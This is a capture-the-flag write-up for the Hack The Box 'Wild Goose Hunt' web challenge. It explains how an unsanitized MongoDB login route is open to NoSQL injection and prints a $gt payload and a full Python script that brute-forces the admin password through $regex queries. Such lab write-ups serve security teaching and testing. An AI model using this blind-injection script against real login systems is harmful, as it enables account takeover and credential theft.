InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties…

Follow publication

HTB Challenge Write-Up: Wild Goose Hunt

Code Review

The Wild Goose Hunt is a retro-styled web login form with two routes: one for displaying the form and another for the login logic.

At first glance, its routes tell us that it's using a NoSQL database. Looking into the User model confirms that it's using MongoDB, a NoSQL database.

There is no input sanitization or filtering, allowing us to test for NoSQL Injection or NoSQLi without needing to bypass any measures.

router.post('/api/login', (req, res) => {
let { username, password } = req.body;

if (username && password) {
return User.find({
username,
password
})
// Codes omitted for brevity
});

Local Testing

Let's begin by running the application locally using the build_docker.sh script. We will use the built-in browser of Burp Suite to capture the HTTP traffic and resend modified payloads to /api/login.

The entrypoint.sh file shows that the flag is the admin user’s password. To simplify the exploit, we will brute-force this field using NoSQLi. Let's send a login request using Burp Suite Repeater with the following payload:

username=admin&password[$gt]=

That worked! Here, we are using MongoDB’s Comparison Query Operators. The payload indicates “any password value greater than an empty string.”

Now that we have proven that the application is vulnerable to NoSQLi, it's time to write a Python script to brute-force the password.

Exploitation

Let’s start by developing an oracle—a function designed to verify the success of the payload. This function is straightforward; it takes a dictionary where we can input our NoSQLi payload for the password field and send it using Python's requests library.

def oracle(payload: dict) -> bool:
data = { "username":"admin" } | payload
header = { "Content-Type": "application/x-www-form-urlencoded" }
response = requests.post(f"http://{target}/api/login", data=data, headers=header)
return "Login Successful, welcome back admin." in response.text

The next step is to determine the password length. We will use the $regex operator, one of MongoDB’s Evaluation Query Operators.

length = 0
for n in range(1, 100):
# e.g. username=admin&password[$regex]=^.{1}$
if oracle({ "password[$regex]": f"^.{{{n}}}$" }):
print("[*] Length found:", n)
length = n
break

After determining the length, let’s check each character of the password to see if it matches any printable characters.

password = ""
for pos in range(length):
for character in printable:
# ensure that special characters are properly escaped
if oracle({ "password[$regex]": f"^{re.escape(password + character)}.*$" }):
print("[*] Character found:", character)
password += character
break

Bringing everything together.

import requests
import re
from string import printable

target = "83.136.254.158:44757" # change this

def oracle(payload: dict) -> bool:
data = { "username":"admin" } | payload
header = { "Content-Type": "application/x-www-form-urlencoded" }
response = requests.post(f"http://{target}/api/login", data=data, headers=header)
return "Login Successful, welcome back admin." in response.text

length = 0
for n in range(1, 100):
# e.g. username=admin&password[$regex]=^.{1}$
if oracle({ "password[$regex]": f"^.{{{n}}}$" }):
print("[*] Length found:", n)
length = n
break

password = ""
for pos in range(length):
for character in printable:
# ensure that special characters are properly escaped
if oracle({ "password[$regex]": f"^{re.escape(password + character)}.*$" }):
print("[*] Character found:", character)
password += character
break

print("[*] Password found:", password)

The exploit takes some time, but it has successfully brute-forced the password.

We have successfully captured the flag!

References

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Pat Bautista

I'm a software developer passionate about application security. I enjoy breaking applications to uncover weaknesses and then reinforcing them to be more secure.

No responses yet

Write a response